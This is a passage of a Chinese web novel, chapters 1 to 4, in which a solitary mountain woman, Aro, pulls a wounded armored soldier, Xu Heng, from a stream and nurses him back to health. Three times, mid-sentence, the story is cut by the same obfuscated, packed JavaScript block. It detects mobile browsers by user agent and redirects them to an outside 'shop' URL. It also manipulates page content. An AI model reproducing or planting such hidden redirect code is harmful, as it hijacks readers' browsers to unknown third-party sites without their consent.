《河里捞出的偏执夫君》 1. 第 1 章 阿萝听到水声不对时,正蹲在溪边洗一捆新挖的苦根。 已经入秋了,雨水本该少了,可连着的几日阴云到底还是成了雨,下得不大,却绵绵地湿透了整片山林。溪水比往日浑浊了些,水位也高出了半掌,流得也比较急,裹着上游冲下来的枯枝败叶,一股子土腥气。 她停下手,侧耳细听。 水声里应该混进了别的东西——不是石头滚动,也不是树枝折断。是一种沉闷的、有节奏的撞击声,混在水流里,好像卡在某个地方,并没有随着流水东去。 阿萝站起身,手在粗麻衣摆上擦了擦,握住了腰间的刀柄。 她看了看天色,日头已经西斜到山岭后面去了,最多再过半个时辰,林子就会陷入黑暗之中。 那声音离得不远,她踩着水边的石头往上走了几步,退到一块高大的石头后面,只露出半个身子看。 溪流转弯处,水流被一块凸起的大青石一挡,缓了些,也把水里的东西给拦了下来。 水湾处,树杈、枯叶、荒草团黑沉沉地堆叠在一起,几乎将一大团纠缠在一起的、湿透了的布料和皮革掩盖住。 不,不止布料。 阿萝眯起了眼睛。那团东西里,有反光。 是铁。 夕阳最后一点余晖斜斜地照过来,在那团东西的表面划过一道冷硬的、属于金属的光泽。阿萝看见了弧形的边缘,看见了破损的接缝,看见了被水冲得散开、却依旧被皮绳勉强连在一起的、一片片叠缀着的铁叶子。 她认得铁,村里铁匠打锄头、打柴刀,就是这种颜色,这种质地。 但她没见过这么多铁片被编在一起,做成……衣服的样子。 阿萝又等了一会儿,确认那团东西再没动静了,才从石头后面走出来。 她走得慢,每一步都踩实了,眼睛没离开过那团铁衣,还有铁衣下面裹着的那个人形。 她跨过浑浊的河水,跳到拦住那个人的石头上。 情况更清楚了。 是个男人。 脸朝下趴着,大半身子还浸在水里,只有缠着各种草叶的肩膀和头搭在青石边。黑色的头发散开,随着水流一荡一荡。 铁衣裹着他,已经残破不堪,肩膀部位的铁叶子掉了一半,露出下面被水泡得发白的里衣;腰腹处的皮绳断了,铁片散开,能看到底下一道横贯腰侧的、狰狞的伤口。 阿萝的目光往下移,停在他左腿上。那里没有铁衣覆盖,只有被划得稀烂的裤腿,和一道深得几乎能看见骨头的砍伤。伤口边缘整齐,力道极大——不是野兽撕咬的豁口,也不是摔伤刮擦的破碎。 是被利器砍的,那种又快又重的利器。 她蹲下身,没去碰他,而是先看了看四周。 河水在这里打了个旋,流速慢,所以把这这沉的东西给留了下来。 阿萝转回头,趴在石头上,伸出两根手指,隔着一点距离,虚按在男人脖颈侧面。停顿了约莫十几次自己心跳的时间,指尖终于感觉到一丝微弱的、几乎难以捕捉的跳动。 还活着,但也只剩这最后一口气了。 她收回手,在水里涮了涮,然后开始评估。 铁衣,利器砍伤。上游黑熊岭的方向——那边再往上,出了林子,就是官道和驻军巡视的边线了。她听货郎老陈提过,好像是说有什么叛军,所以来了很多带刀的兵爷军爷。 兵、军,带刀……这些人阿萝没碰到过,也不是太了解,但是从货郎和山下人的言辞中,她知道那好像不是什么好人。 而眼前这个人,也是。 他是军爷,在山外头,跟别的穿铁衣的人互相砍杀,然后被砍成这样,落水,冲了几十里,冲到了她的水边。 麻烦。 阿萝几乎立刻就想到了这个,天快黑了,她一个人拖不动这一身铁加一个人。就算拖得动,血腥味会招来夜里觅食的东西。就算不招野兽,一个穿着军中铁衣、被人砍成这样的人,本身就是个天大的麻烦。 她应该转身就走,就当没看见。等今夜再下一场雨,或者来两只野狗,明天这里就什么都不剩了,干净。 阿萝站起了身。 她的目光却落到了男人腰间。铁衣破损的地方,露出一根褪了色的绳结,绳子上系着一块半个巴掌大的东西。她弯下腰,伸手用刀挑断绳子,把那东西拿在手里。 是块石头,乳白色的,温润,对着天光看,里面像凝着絮状的云。边缘被打磨得很光滑,上面还用更深的线条刻了花纹——交缠的枝叶,中间一只长尾的鸟。 真好看。 阿萝把它握在手里,石头贴着掌心,温温的,不凉。她又看了看男人腰间,那里还挂着一个浸透了水的小皮袋,她一并扯下来,掂了掂,里面有轻微的金属碰撞声。 好了,现在她有了一块好看的石头,可能还有几个铜子儿。 她该走了。 阿萝把石头塞进怀里,皮袋塞进背篓,转身。 刚跳上岸走出去两步,她又停住了。 身后传来一声极轻、极痛苦的抽气声,像是濒死的鱼最后吐了个泡。 她回头,看见男人的手指几不可察地蜷缩了一下,指甲深深掐进了掌心的泥里。 然后,再也没了动静。 阿萝站在渐渐暗下来的林子里,空荡荡的只有风声。 良久,她认命似的吐出一口气,白雾在冷空气里散开。她走回水边,捡起一个树杈将他勾到岸边,再往上拖了拖,做到这里,她已经觉得累了。 但既然开始,就没有中断的道理。她蹲下,开始对付那身铁衣。 皮扣和系带大多被水泡得肿胀变形,有些地方还因为撞击卡死了。她用刀小心地割,用力地撬。胸甲、背甲、肩甲……一块块冰冷沉重的铁片被卸下来,扔在旁边的石滩上,溅起泥水。每卸下一块,男人的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251264|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体就似乎微弱地抽搐一下,但始终没醒。 卸到后来,她满头是汗,手指也被铁片的边缘划破了几处。但总算,大部分要命的铁壳子都脱下来了。 阿萝砍了几根粗直的木棍,用随身带的韧藤捆成一个简陋的拖架。把他翻过来拖上拖架是最难的一步,男人很高大,即便卸了甲,也沉得像块石头。她咬着牙,一次一次地发力,最后终于把他弄了上去,自己也累得眼前发黑。 拖架在溪边的碎石滩上吱呀作响。阿萝拖着它,一步步往林子深处走,往她后山的旧屋走。一路走,一路用树枝扫去身后明显的拖痕。 天彻底黑透时,雨下了起来,豆大的雨点砸在树叶上,哗哗作响,倒帮她掩盖了所有声音。 旧屋藏在山壁下一处凹陷里,阿萝把拖架拽到屋檐下,推开厚重的木板门,将人拖进去,再回身把门闩好,顶上木杠。 火塘里的余烬还没完全冷透,她加了几把干柴,吹亮了火折子。橘红色的火光跳起来,渐渐驱散了屋里的阴冷和黑暗。 直到这时,阿萝才真正看清这个男人的脸。 满是泥污和血痂,脸色惨白,嘴唇发紫。但眉骨很高,鼻梁挺直,轮廓很深。年纪不大,可能比她大不了几岁。 她没多看,转身去拿药。草药是早备好的,止血的、消炎的、生肌的,分别捣成膏状。又从屋角拎来一小桶煮开后又放凉了的盐水。 处理伤口时,阿萝的手很稳。清创,敷药,包扎。腿上那道砍伤最深,她不得不把烧过的薄石片当刀子用,刮掉那些明显坏死的腐肉。每刮一下,昏迷中的男人就剧烈地抽搐一下,喉咙里发出嗬嗬的、困兽般的声音,牙关咬得咯咯响,却始终没睁开眼。 全部弄完,阿萝累得几乎虚脱。她坐到火塘对面,抓过一块冷硬的芋根饼,慢慢地啃。眼睛看着跳跃的火苗,耳朵却竖着,听着屋外的动静。 雨声,风声,偶尔远远传来的一声夜枭叫。 还有……别的。 她忽然停下了咀嚼。 夜枭的叫声,停了。不是叫完了自然的停,是叫到一半,戛然而止。 阿萝悄无声息地挪到窗边,透过木板间的缝隙往外看。山林漆黑一片,只有雨丝反射着极其微弱的、来自云层后的天光。但在远处,隔着整个山谷的对岸,林子的边缘,似乎……有几点极其微弱的光在移动。 不是灯笼,灯笼的光是暖的、散的。那光是冷的、凝聚的,一点点,在缓慢地、仔细地往上游方向移动。 是火把。被什么东西小心遮掩着的火把。 阿萝盯着那几点光看了很久,直到它们消失在山梁后面。 她退回火塘边,重新坐下。火光映着她的脸,没什么表情。 她看了看地上依旧昏迷不醒的男人,又看了看墙角那堆刚从溪边背回来、还没来得及处理的、湿淋淋沉甸甸的铁片。 她抄起竹片,用灰盖住了火。 2. 第 2 章 此后一个月,阿萝都在为自己的一念之仁付出代价。 救回来的人伤势很重。 第一夜就发了高热,浑身烫得像块烧红的炭。阿萝把屋里所有的旧布巾都用冷水浸透,轮换着敷在他额头和脖颈上。敷上去时能听见皮肉接触凉布时细微的“滋”声,不过半盏茶的工夫,布巾就变得温热。她换得很勤,木盆里的水换了三次,天快亮时,他的体温总算下去了一些。 但也只是一些。 天蒙蒙亮时,阿萝检查了他的伤口。腿上的刀伤肿得发亮,边缘泛出不祥的灰白色,用手轻轻一按,有浑浊的脓液从缝线处渗出来。 果然化脓了。 她早有准备,昨夜卸甲时就料到会这样——铁器造成的伤口,又在脏水里泡了那么久,不化脓才是稀奇。 阿萝生了火,烧开一陶罐水,等它凉到温热,撒进捣碎的苦参和金银花叶子。 接着,她将他翻过来,让他趴在草铺上,又取来那把骨刀,在火上反复烧灼,直到刀尖微微发红。 她走到草铺边,蹲下,用煮过的布巾擦掉伤口周围的脓血。然后抬腿,用膝盖和小腿压住他的膝盖窝及腰部。 男人在昏迷中不安地动了动,喉咙里时不时发出痛苦的低吟。 “忍着。”阿萝低声说,不知是说给他听,还是说给自己听。 她下手很快,烧红的骨刀尖刺入伤口边缘发白的腐肉时,发出轻微的“嗤”声,冒起一缕白烟。 男人整个身体剧烈地弓起,像是被人从背后狠狠抽了一鞭,眼睛在那一刻骤然睁开,瞳孔涣散,直直地瞪着屋顶的茅草,却什么也看不见。 阿萝几乎被掀翻下来,她腿部发力,死死压住,但手上并没停。她必须趁他还没完全清醒、肌肉还没因剧痛而彻底绷紧前,把腐肉刮干净。 刀尖刮过坏死的组织,发出令人牙酸的细微声响。血混着脓流出来,她迅速用准备好的苦参水冲洗,再敷上厚厚的止血草膏。 整个过程,男人没发出一声惨叫。他只是死死地咬着牙关,额头上青筋暴起,冷汗瞬间浸透了头发和身下的草垫。 等到阿萝终于收手,用干净的粗布重新包扎好伤口时,他整个人像是刚从水里捞出来浑身冷汗,脸色惨白如纸,胸口剧烈起伏,每一次呼吸都伴着脱力的咳嗽。 阿萝再将他翻过来,发现他又昏死过去。 阿萝坐在地上,喘了口气,后背也湿了一片。 她盯着那张惨白的脸看了片刻,伸手探了探他的鼻息——很弱,但还算平稳。又摸了摸他的额头,还是烫,但比夜里好些。 能做的都做了,接下来,看他自己的命硬不硬。 日子就这样一天天熬过去。 阿萝的生活被彻底打乱了。她原本每日的劳作有清晰的节奏:清晨起来洗漱、吃饭;上午进山采药或狩猎;午后处理食材、晾晒草药;傍晚前拾够柴火,然后生火做饭,在天黑透前吃完,封好火塘,睡觉。 现在,这个节奏被一个半死不活的外来者搅得粉碎。 她需要更多的水——清洗伤口、煮药、擦拭身体。需要更频繁地生火——保持屋里温度、烧热水、煮药汤。需要更多的食物——一个成年男子,哪怕昏迷着,每日灌下去的米汤和药汁也是实打实的消耗。还需要更多的时间——换药、喂食、清理。 阿萝不得不延长在外劳作的时间,她天不亮就出门,背篓里除了工具,还多了一把自制的弓和几支削尖的竹箭——她需要更大的猎物。 野兔山鸡不够了,她开始试着设套捉鹿,需要去更远的地方。 风险也随之增加。 每次拖着疲惫的身子回到旧屋,看见草铺上那个依旧昏迷不醒的人时,阿萝心里都会冒出一丝烦躁。 值得吗? 就为了一块好看的石头,和几个还不知道能不能用的铜子儿? 她不知道,她只是每天重复着该做的事:换药,喂水,清理,然后在天黑后坐在火塘边,一边啃着冷硬的干粮,一边盯着跳动的火焰出神。 偶尔,她会拿出那块乳白色的石头,对着火光看。石头温润的光泽在火焰映照下显得格外柔和,上面刻的那只鸟仿佛要活过来,展翅飞进火里。 真好看,从没见过这么好看的石头。 她把石头贴在心口放好,那点烦躁似乎就淡了些。 第七天傍晚,事情有了转机。 阿萝刚从林子里回来,背篓里装着一只肥硕的山鸡和几把新采的草药,推开屋门时,她听见了一声微弱的咳嗽。 她动作顿住,抬眼看向草铺。 男人醒了。 他侧着头,眼睛半睁着,目光涣散地落在虚空里,似乎还没完全明白自己身在何处。听见开门声,他慢慢将头转了过来。 四目相对。 阿萝看见他眼底最初的茫然,在看清她的一瞬间,迅速被锐利的警惕取代。他嘴唇动了动,似乎想说什么,却只发出一点气音。 阿萝放下背篓,走到墙边扯下一块布,舀水打湿了,走到他旁边。 “渴吗?”她问了一句,看着他干巴的双唇。 男人没动,他盯着她,眼神里满是审视和戒备,身体虽然虚弱得动弹不得,但每一寸肌肉都绷紧了,像一头落入陷阱却不肯认命的野兽。 “可是你伤太重了,不能喝太多水。”她俯身看他,手凑了过去。 他一惊,想要躲开,但是还没动起来,就被伤口扯得哼了一声,冒了冷汗。 阿萝直接按住他的肩膀,用湿布擦他的嘴唇,“要杀你,不用等到现在。” 男人戒备的五官终于慢慢松了下来,沉默地看着她。 她冷着眉,看起来很冷漠,手上却温柔,给他擦了好几遍,直到他嘴唇润透了,才停下来。 “我的……”他开口,声音嘶哑得几乎辨不出原调,“甲衣……” “埋了。”阿萝站起身,去处理那只山鸡。 “……玉佩。” “在我这儿。”阿萝拔出骨刀,开始给山鸡放血,“等你好了,拿东西来换。” 男人没再说话。他只是闭着眼,胸口随着呼吸微弱地起伏,不知道是又昏过去了,还是在想什么。 阿萝也不在意,她利落地给山鸡褪毛、开膛,把内脏扔进一个小陶罐里——明天可以煮汤。肉切成块,一半用盐腌了挂起来风干,另一半扔进锅里,加水和一把野葱,慢慢炖。 肉香渐渐弥漫开来时,草铺上传来一声极轻的叹息。 “多谢。”男人说,眼睛依旧闭着。 阿萝没应声,她往火里添了根柴,看着跳跃的火苗,忽然问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251265|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“追你的人,会寻到这里吗?” 男人沉默了很久。 “不知道。”他最后说,声音很轻,却带着一种冰冷的清醒,“若他们铁了心要我的命……总会找到的。” 阿萝点了点头,不再问了。 肉汤炖好时,天已经彻底黑透。她盛了一碗,端到草铺边,照样托起男人的头,一勺一勺喂给他喝。 他像是不太习惯,一直僵直着身体。他喝得很安静,偶尔被烫到,会微微皱一下眉,但没出声。 喝完汤,阿萝又掀开他的裤脚和衣服,检查了他的伤口。腿上的红肿消退了些,脓液也少了,新长出的肉是健康的粉红色。 “命硬。”她包扎好,低声说。 男人还处在震惊之中,闻言愣了半晌,才反应过来。他似乎笑了一下,极淡的弧度在嘴角一闪而过。 “是啊。”他说,“他们都这么说。” 那天夜里,阿萝睡到一半忽然惊醒。 她听见了草铺那边传来的喘息声,压抑、痛苦。 她坐起身,借着火塘的余烬看去。男人侧躺着,身体蜷缩成一团,双手死死抵在腹部的伤口处,整个人都在剧烈地发抖。牙齿咬得咯咯作响,额头上全是冷汗。 是伤口疼,还是别的什么旧伤发作? 阿萝起身,走到他身边,蹲下。她犹豫了一下,伸出手,覆在他紧握的拳头上。 手下的皮肤滚烫,肌肉绷得像石头一样硬。 “松开。”她说,“伤口会裂。” 男人没反应,依旧在发抖。 阿萝用了点力,掰开他的手指,他的掌心已经被指甲掐出了血印。 她起身去拿药罐,挖出一大块镇痛用的药膏,重新敷在他的伤口上,又用布巾浸了凉水,擦掉他额头和脖颈的汗。 做这些时,男人始终没睁眼,但颤抖渐渐平息了下来。呼吸从急促的喘息,慢慢变成沉重而缓慢的起伏。 阿萝收回手,准备起身回去睡觉。 手腕忽然被抓住了。 “……别走。”男人哑声说,眼睛依旧闭着,眉头紧锁,像是仍在忍受剧痛,又像是在做噩梦,“……娘……别走……” 阿萝僵住了。 她低头看着那只圈住自己手腕的手,又看了看男人惨白的脸。微弱的火光在他脸上投下跳动的阴影,让那张原本棱角分明的面孔,显出几分罕见的脆弱。 她沉默地站了一会儿,然后重新坐了下来。 没有抽回手,也没有再动。 就这样坐在草铺边的地上,任由他握着她的手腕,直到他的呼吸彻底平稳下来,陷入沉睡。 屋外,夜风穿过山林,发出呜呜的声响。 火塘里的最后一点火星,悄无声息地熄灭了。 黑暗笼罩下来,只有窗缝里漏进一点清冷的月光。 阿萝靠在墙边,闭上眼,轻轻一叹。 救一个人,原来这么麻烦。 她在心里暗念。 但奇怪的是,当第二天清晨的阳光从窗缝照进来,她睁开眼,看见男人依旧沉睡的、比昨日稍稍有了些血色的脸时,她忽然觉得,这代价,好像也没有那么难以忍受。 至少,他还活着。 而她,已经很久没有在醒来时,听见另一个人的呼吸声了。 3. 第 3 章 徐珩第一次真正看清这间屋子,是在他醒来的第五天。 那时他已经能勉强靠着墙坐起身,虽然每动一下,右肋和左腿上的伤口都疼得钻心。 阿萝不许他乱动,每次换药时,都像摆弄一根木头一样,把他按回草铺上。 她力气不小,手指粗糙却稳当,包扎时几乎感觉不到疼痛——只有药膏敷上去时,那种清凉的触感,和骨肉深处传来的说不清的麻痒。 他靠着墙,目光缓慢地扫过屋内。 很小,很旧,但出奇的整洁。 夯土墙被烟火熏得发黑,却没有任何蛛网或积灰。屋梁上挂着成束的干草药,散发着苦涩而清冽的香气。墙角堆着整齐的柴火,旁边是几个大小不一的陶罐,盖子都用石板压着。门后挂着弓、箭囊、背篓,还有几件磨得发亮的工具。 唯一的窗很小,用木条钉成格子,糊着半透明的、不知是什么兽的皮。阳光透过那层皮照进来,变得柔和朦胧,落在夯土地面上,形成一片模糊的光斑。 屋子简单而纯粹,没有任何多余的物件和装饰,每一件东西都有明确的用途,都被仔细地维护着。 就像它的主人一样。 徐珩的目光落在火塘边。 阿萝正蹲在那里,用一块扁平的石头,耐心地研磨着某种晒干的根茎。她的动作不急不缓,带着一种说不上来是什么的韵律。 她的侧脸在火光映照下,显得格外平静。睫毛很长,鼻梁挺直,嘴唇微微抿着,没有任何多余的表情。头发松松地挽在脑后,几缕碎发垂在脸颊旁,随着研磨的动作轻轻晃动。 很年轻,比他想象的年轻很多,他以为能将他救活的,至少是个三四十岁的、有相当生活经验的人。 “你叫什么名字?”他忽然开口,声音依旧嘶哑。 阿萝手上的动作顿了一下,“阿萝。” “姓什么?” “没有姓。”阿萝看了他一眼,“山里人,要姓做什么?” 徐珩顿时哑口,是啊,要姓做什么?他的姓带给他的,除了枷锁和算计,还有什么? “我叫徐珩。”他说。 “嗯。”阿萝低下头,继续研磨,“昨天说过了。” “昨天……”徐珩苦笑,这几天他稀里糊涂的,说了些什么自己都记不清了。只记得有个人,一遍遍给他换额上的布巾,给他喂汤药……还将从噩魇中拽了出来。 “多谢你。”他说,声音很轻,却很认真。 阿萝这次没应声,她磨好了药粉,小心地倒进一个小竹筒里,盖上塞子,放进墙上的木格。 “你的伤,”她转回身,看着他,“再换三次药,就能试着下地了。” 徐珩低头看了看自己身上厚厚的包扎,腿上的伤口已经收口,肋侧的贯穿伤也好转了许多。 “你医术很好。”他由衷赞赏。 “不是医术,”阿萝走到水盆边洗手,“是山里活下来的法子,在山里活得久了,就知道什么伤用什么药了。” 她语气很平淡,仿佛一切都那样理所当然。 徐珩却听出了别的东西,她才多大啊,所谓活得久,不过是受的伤足够多罢了。 “你一个人住在这里吗?”他问。 “嗯。” “父母呢?” “死了。”阿萝甩了甩手上的水,走回火塘边,开始准备午饭,语气没有任何起伏。 徐珩闭嘴,不再追问。 他也不该问,就像他也不会告诉她他的情况一样,他具体什么身份,因何受伤等。 至少目前不会。 每个人都有不想说的事,这片山林,或许正是适合埋葬这些秘密的地方。 两个人就这么同处一个屋檐下,他仰赖她的照顾,她也沉默地付出,但是两个人就是完全没有互相了解的企图。 又过了四五天,徐珩觉得自己可以试着下地走路了。 那天阳光很好,阿萝推开了屋门,深秋的山风灌进来,带着松针和泥土的气息,她转身看向徐珩:“能走吗?” 徐珩咬了咬牙,撑着墙,一点点站起来。腿上的伤口传来撕裂般的疼痛,他眼前黑了一瞬,冷汗瞬间湿透了后背的衣衫。 但他站住了。 阿萝看了他两息,然后走到门边,伸出了手,递给他一根削得很光滑的木杖。 也不知道她何时准备的。 “扶着。”她说。 徐珩接过木杖,拄在地上,试着迈出第一步。 疼—— 徐珩抽着冷气一个踉跄,很快被人从旁扶稳。他侧头,对上的是平静的侧脸。 她早有所料,将他扶稳后,又松开了手。 他咬着牙,一步一步地挪到了门口。 门外是一片小小的空地,阳光毫无遮拦地洒下来,暖洋洋地照在脸上。远处是连绵的山峦,层林尽染,红黄绿交叠,像一幅浓墨重彩的画卷。 空气清冽得刺肺,却让他第一次感觉到,自己真的还活着。 阿萝没跟出来,她靠在门框上,抱着手臂,看着他。 徐珩拄着木棍,慢慢地走到了空地边缘。那里有几块平整的大石头,他选了最近的一块,小心翼翼地坐下。 融融的秋阳罩在背上,暖意一片。 寂静的山林里,只有阵阵的风声和稀稀疏疏的鸟鸣声。 不知过了多久,身边传来轻微的响动。他睁开眼,看见阿萝在他旁边坐了下来,手里端着两个粗陶碗,一碗递给他,一碗自己拿着。 碗里是冒着热气的肉汤,漂着几片野菜。 徐珩接过碗,小口小口地喝着。 阿萝喝得很快,几口就见了底,她放下碗,看着远处的山,忽然开口:“你的仇家,是什么人?” 徐珩的手顿住了。 他盯着碗里晃动的汤面,沉默了很久。 “是我的兄长。”他终于说,声音平静得像在说别人的事,“还有我父亲的正妻,他们买通了我军中同袍,趁我巡视地形时下手。” 阿萝转过头,看着他:“为什么?”虽然有些词她听不懂,但是大致意思她理解了。 为什么? 徐珩扯了扯嘴角。 “因为我是个庶子。”他说,“因为他们想要我死,用我的命,去换朝廷的抚恤,去换爵位能在我兄长身上多传一代。” 事无不可对人言,何况阿萝是他的救命恩人,他说得简单而直白。 阿萝安静地听着,她的脸上没有任何惊讶或同情,嫡庶倾轧尔虞我诈之事她并不懂,即便是懂了也不觉得难以理解。 山里的一切都是这样的,足够强就能活下去,争不过打不赢,那就只能死了。 “所以,”她等他说完,才问,“他们还会来找你?” “会,”徐珩说,“活要见人,死要见尸,不见到我的尸体,他们不会安心。” 阿萝点了点头,不再问了,她拿起空碗,起身往回走。 走了两步,又停下来,回头看他。 “这里他们暂时找不到。”她说,语气平淡,却带着一种不容置疑的肯定。 徐珩看着她逆光站立的背影,瘦削,却挺拔得像一株长在崖缝里的青松。 “为什么帮我?”他问出了那个一直压在心里的问题。 阿萝沉默了一会儿。 “一开始,我也不知道,大概是为了你的玉佩吧,”她坦白地说,“后来……”她顿了顿,“现在我觉得,你跟我一样。” “一样?” “都是被自己的‘狼群’赶出来的。”阿萝说完,转身进了屋。 徐珩一个人坐在石头上,看着碗里已经凉透的汤。 被自己的狼群赶出来的。 他突然笑了出来,说得真对。 被“赶出来”了,就要靠自己活着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251266|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 徐珩开始试着做些力所能及的事,他不能走远,就坐在屋门口,帮阿萝整理采回来的草药,或者用她给的匕首,削制一些简单的木器——筷子、碗勺,甚至试着做了个小板凳。 他的手很巧,毕竟是读过书、握过笔的人,对形状和力道有种天然的敏感,做出来的东西虽不华丽,却端正结实。 阿萝第一次拿到他削的筷子时,盯着看了好一会儿。 “比我的好。”她最后说,语气里有一丝难得的赞许。 徐珩笑了笑,“多谢你看得上。” 阿萝闻言,眉一扬,很正式地看向他的脸庞。 这个人说话,跟山里的人也很不一样。 他们开始有一些简短的交谈,不再是“喝药”“吃饭”这样的指令,而是一些零碎的、关于山林和生活的话题。 两个人有一搭没一搭的互相应答,不知怎么就绕到了读书上。 徐珩突发奇想,教她认字,他用树枝在地上划,从最简单的“日”“月”“山”“水”开始。 难得阿萝也感兴趣,她学得很快,记忆力好得惊人。徐珩只需要点拨一下,她就能举一反三。 作为交换,她教他认识山林。 “这是鬼针草,止血最好,但叶子有毛刺,采的时候要格外小心。” “那片林子不能进,底下是空的,有暗河,踩错了会陷进去。” “听见这种鸟叫,说明一个时辰内会下雨。听见那种,说明山那头有狼群在活动。” 她说的都是自己无数个日夜在山里踽踽独行,靠着受伤和鲜血积累下来的经验,是独属于她的智慧。 徐珩听得仔细,记在心里。这片看似寂静的山林,其实有一套完整而精密的语言,这里面的智慧,并不比科场上的简单。 而他眼前这个沉默寡言的女子,是少数能听懂并运用这种语言的人。 有一天傍晚,阿萝从林子里回来,背篓里除了草药,还有一些形状怪异的野果,她放下背篓,递了几个给徐珩。 “尝尝。” 徐珩接过,咬了一口,果肉酸甜,汁水饱满,有种独特的清香。 “好吃。”他说。 “这叫八月炸,”阿萝自己也咬了一口,“就这个月有,过季就没了。” 他们坐在门口的石头上,看着夕阳一点点沉入山脊。 “你为什么一个人住在这里?”徐珩忽然问。 阿萝沉默了一会儿。 “我爹娘是采药人,”她说,“我十岁那年,他们去采一味珍稀药材,遇上塌方,没回来。村里人说是我命硬,克死了爹娘,后来……就没人愿意跟我来往了。” 她说得很简单,三言两语,就概括了人生的剧变。 徐珩没有说话,他不知道该说什么。这个时候安慰是苍白的,同情是多余的。他只能安静地听着,像她曾经安静地听他讲述自己的命运一样。 “这里是我爹娘以前进山采药时歇脚的地方,”阿萝继续说,目光望着远处的山,“他们不在了,我就搬过来了,清净。” 清净,不知道浸着多少孤独与无奈。 徐珩看着她被夕阳镀上一层暖光的侧脸,忽然很想问:你一个人,在这里住了多久?你害怕吗? 但他最终还是什么都没问。 天色彻底暗下来时,阿萝起身:“该进去了。” 徐珩拄着木杖,跟着她慢慢挪回屋里。火塘已经生好,温暖的光填满了整个空间。 阿萝像往常一样,开始准备晚饭。 徐珩坐在草铺上,看着她忙碌的背影。 这个简陋的小屋子,这个沉默的姑娘,还有这片寂静的山林。 是他死里逃生后,意外闯入的世界。 也是他二十年来,第一次感觉到“活着”二字,除了责任、仇恨、算计之外,或许还可以有别的意义。 哪怕只是暂时的。 4. 第 4 章 徐珩发现自己身上有隐隐的臭味了,虽然药味更浓,但是他还是闻到了那一点点的臭味。 他想换衣服,但他是顺着河流飘到阿萝家的,哪来的换洗衣物。 正发愁,他忽然意识到一个问题。 他的衣服虽然还是之前那身,但他清楚地记得醒来时,身上的衣服是干净的。 那是…… 意识到发生了什么,徐珩如遭雷击,全身都烧了起来。 直到阿萝踏着夕阳回来,他脸上的温度似乎都没有下去,甚至在看到她时,温度又上来了。 但是阿萝没有注意他,她走进来,将竹篓放下,从里面捧出东西走到他跟前。 金黄的日光从门边斜斜落进来,一道细长倾斜的阴影披在他肩上。。 徐珩后知后觉抬头。 阿萝背着阳光,看不出什么表情,“接着。” “?”徐珩还是不明白她的意思,却下意识拉住衣摆,将腰间的衣服扯成一个布兜。 哗啦啦。 有东西从她合扣的掌心落下,从他眼前坠过,掉进他怀里。 是酸枣。 “多吃些,对你的伤有好处。”阿萝说着,又从竹篓里捧出十几个酸枣了,堆满了徐珩的衣兜。 红艳艳的。 是山里自然生长的,虽然不大,但却格外耀眼。 徐珩怔忡了片刻,才拿起一颗,咬了一口。 酸! 明明酸得五官都移位了,但是徐珩却吃了一颗又一颗,像是从未见过这么好的东西。 正在整理一天收获的阿萝保持着半蹲的姿势,回头提醒他,“小心牙倒了。” 徐珩这才停下来,把剩下的酸枣细细收好,拄着木杖来到她身边,给她递了一碗水。 阿萝接了,一口饮尽。 徐珩把碗放回去,又走到她身边慢慢坐下,跟她一起整理。 这些草药都不是阿萝之前教的那些,他不认识,只能一边观察阿萝的做法,一边学着。 整理完,阿萝拍拍手,从角落拿来扫帚清扫泥土沙石。 徐珩拄着木杖,挪到门边让出空间。 此时日薄西山,倦鸟归林,群山明暗参差。 阿萝生了火,架起锅烧水,趁隙捣药。 “过来,坐下。” 徐珩闻声回头,见阿萝坐在矮凳上,两手搭在膝盖上,已经捣好药了。 他走过去,在火塘边坐下。 阿萝离开矮凳,蹲在他身前,卷起他的裤腿,熟练地将布条解开,把之前的草药清理下来,起身拿来木盆,倒上已经温热的水,简单清洗后,换上新药。 处理完腿伤,该是右肋的伤了。 徐珩生出一股不自在,身体轻轻一转,避开阿萝伸过来的手。 阿萝抬头,疑惑的视线从他下巴上扬,落进他眼眸里。 “我……我自己来。” 阿萝于是后退一步,“也可以,但别浪费我的药。” 徐珩这几日都没出门,身上就一件中衣,他低头解开襟带,露出缠得稳妥的伤处。 他自己解开布条,清理伤处的草药、清洗, 但是敷药却没那么容易,伤口偏后,靠近腰,他手不便用力。 而阿萝不许他浪费药。 那都是她辛苦采来并捣好的,确实不该浪费。 再不自在,他也只能求助阿萝。 但是……他刚刚在她面前逞强来着,她会不会…… 揣着疑虑,徐珩抬眼望向阿萝。 阿萝一直看着他,见他望过去,随即就走了过来,“坐好。” 她没跟他计较。 徐珩心里松了口气,身体微微后仰,让阿萝给自己敷药包扎。 她长日在山林中行走,发间都是草木的味道,清香而自由。 但他身上却是臭的。 她靠近他,快速地敷药,手指灵巧地在他腰间绕过,缠上布条。 